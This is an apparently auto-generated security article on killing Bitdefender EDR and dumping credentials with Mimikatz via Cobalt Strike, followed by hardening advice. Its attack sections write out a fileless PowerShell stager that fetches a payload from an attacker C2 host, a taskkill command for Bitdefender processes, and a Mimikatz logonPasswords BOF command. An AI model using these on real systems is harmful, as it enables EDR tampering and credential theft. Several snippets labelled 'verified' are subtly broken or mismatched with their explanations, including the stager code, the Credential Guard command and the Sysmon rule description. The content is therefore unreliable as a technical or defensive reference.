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Introduction:
The battle between endpoint detection and response (EDR) solutions and advanced attackers is a constant arms race. A recent demonstration showcases a classic red-team tactic: completely freezing a leading EDR, Bitdefender, to execute Mimikatz in-memory and harvest credentials. This incident underscores a critical reality—even robust security controls can be circumvented, making credential hardening and behavioral monitoring non-negotiable.
Learning Objectives:
- Understand the technical process of EDR bypass and in-memory credential dumping using tools like Cobalt Strike and Mimikatz.
- Learn the essential commands and configurations for both executing these attacks and defending against them.
- Implement critical mitigation strategies, including Credential Guard and least privilege, to protect your environment.
You Should Know:
1. Initial Compromise & Reverse Shell
Verified Command/Code Snippet (Cobalt Strike Beacon Stager):
$bytes = (New-Object Net.WebClient).DownloadData('http://attacker-c2-server:80/beacon.exe');
$proceddAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address), (func_get_module_handle)).Invoke("kernel32", "VirtualAlloc");
[System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $proceddAddr, $bytes.Length);
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address), (func_get_module_handle)).Invoke("kernel32", "CreateThread");
$hThread.Invoke(0,0,$proceddAddr,0,0,0);
Step-by-step guide:
This PowerShell snippet is a classic example of a fileless stager. It uses the .NET `WebClient` to download a Cobalt Strike beacon payload directly into memory ($bytes). It then uses P/Invoke to call Windows API functions: `VirtualAlloc` to allocate a block of memory, `Copy` to write the beacon into that memory, and `CreateThread` to execute the payload as a new thread. This entire process occurs without writing any executable files to disk, evading traditional file-based antivirus scans.
2. EDR Post-Exploitation Freeze/Kill
Verified Command (Windows Command Prompt):
taskkill /IM "bdagent.exe" /IM "bdservicehost.exe" /IM "vsserv.exe" /F /T
Step-by-step guide:
Before deploying a sophisticated tool like Mimikatz, attackers often attempt to neutralize the EDR. This command forcefully terminates (/F) the core Bitdefender processes (bdagent.exe, bdservicehost.exe, vsserv.exe) and any child processes they spawned (/T). It’s a blunt but sometimes effective instrument. However, modern EDRs are often protected by tamper protection mechanisms and may run under protected processes, making simple `taskkill` commands insufficient without prior elevation of privileges or the use of kernel-mode drivers.
- Loading Mimikatz as a Beacon Object File (BOF)
Verified Command (Within Cobalt Strike C2 Console):
beacon> inline-execute /path/to/mimikatz.x64.o "sekurlsa::logonPasswords full"
Step-by-step guide:
Beacon Object Files (BOFs) are compiled C programs designed to execute in a beacon process and are a primary method for running tools in-memory. The `inline-execute` command tells the Cobalt Strike client to read the compiled Mimikatz BOF (mimikatz.x64.o) from the attacker’s machine, send it over the existing beacon connection, and load it directly into the beacon’s memory on the target. The argument `”sekurlsa::logonPasswords full”` is passed to the BOF, instructing it to run the specific Mimikatz module for dumping credentials from the LSASS process.
4. Critical Defense: Enabling Credential Guard
Verified Command (Windows via PowerShell as Administrator):
Enable-WindowsOptionalFeature -Online -FeatureName "Microsoft-Hyper-V", "Hyper-V-PowerShell" -All Enable-WindowsOptionalFeature -Online -FeatureName "CredentialGuard" -All
Step-by-step guide:
Credential Guard is one of the most effective defenses against Mimikatz-style credential theft. It uses virtualization-based security (VBS) to isolate the LSASS process and shield NTLM hashes and Kerberos keys from direct memory access. The first command enables the Hyper-V feature, which is a prerequisite. The second command enables Credential Guard itself. A reboot is required for these changes to take effect. Once active, Mimikatz will fail to extract hashes from a protected system.
5. Implementing LSA Protection
Verified Command (Windows Registry):
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA" /v RunAsPPL /t REG_DWORD /d 1 /f
Step-by-step guide:
LSA Protection configures the Local Security Authority (LSA) process to run as a Protected Process Light (PPL). This prevents non-protected processes, including an unprivileged Mimikatz instance, from reading its memory or opening a handle to it. This registry modification adds the `RunAsPPL` DWORD value and sets it to 1. Like Credential Guard, this requires a reboot. While not as robust as Credential Guard, it adds a significant layer of defense on systems where Credential Guard cannot be enabled.
6. Detecting Anomalous Memory Access with Sysmon
Verified Configuration (Sysmon Config Snippet):
<RuleGroup name="" groupRelation="or"> <ProcessAccess onmatch="include"> <TargetImage condition="contains">lsass.exe</TargetImage> <CallTrace condition="contains">C:\Windows\System32\kernel32.dll</CallTrace> </ProcessAccess> </RuleGroup>
Step-by-step guide:
This Sysmon configuration rule is designed to generate a log event every time a process accesses the LSASS process memory. The rule filters for events where the `TargetImage` is `lsass.exe` and the `CallTrace` suggests the access originated from a non-native binary (e.g., not from a system DLL in System32). While this will generate noise, it is a high-fidelity signal for discovering credential dumping attempts, as legitimate software rarely needs to read LSASS memory directly.
7. Lateral Movement Mitigation: Restricting NTLM
Verified Command (Group Policy / Registry):
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0" /v RestrictSendingNTLMTraffic /t REG_DWORD /d 2 /f
Step-by-step guide:
Once an attacker has dumped NTLM hashes, they will attempt to reuse them for lateral movement via Pass-the-Hash. This registry setting, which can be deployed via Group Policy, restricts the sending of NTLM traffic. A value of `2` denies all NTLM authentication attempts from that machine, forcing the use of the more secure Kerberos protocol and effectively neutralizing a Pass-the-Hash attack originating from that compromised host.
What Undercode Say:
- EDR is a speed bump, not a wall. Its primary value is in increasing attacker cost and generating telemetry for detection, not absolute prevention.
- The modern defense paradigm must shift from pure prevention to assuming credential compromise and implementing robust mitigation controls like Credential Guard and NTLM restrictions.
The demonstration, while educational, reveals a troubling operational reality. The kill chain did not rely on a zero-day; it used well-documented post-exploitation techniques. The success of the EDR kill suggests potential gaps in tamper protection or the presence of elevated privileges from the outset. This reinforces that identity is the new perimeter. Defenders cannot rely on any single control. A layered defense is mandatory, combining EDR for telemetry and behavioral blocking with OS-level hardening (Credential Guard, LSA Protection) and strict application control policies to prevent the execution of unauthorized code, even in memory. The focus must be on disrupting the attack chain at multiple points.
Prediction:
In the immediate future, EDR bypass techniques will become even more streamlined and integrated into attacker toolkits, moving from red-team exercises to commonplace ransomware operator TTPs. This will force a defensive evolution beyond signature-based EDR towards more integrated platforms that combine EDR telemetry with Identity Threat Detection and Response (ITDR) and network analysis. The failure of a single control will be anticipated, and security platforms will automatically enact compensatory controls, such as automatically isolating a host the moment LSASS is touched by an unsigned process.
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IT/Security Reporter URL:
Reported By: Bambang Sutrisna – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
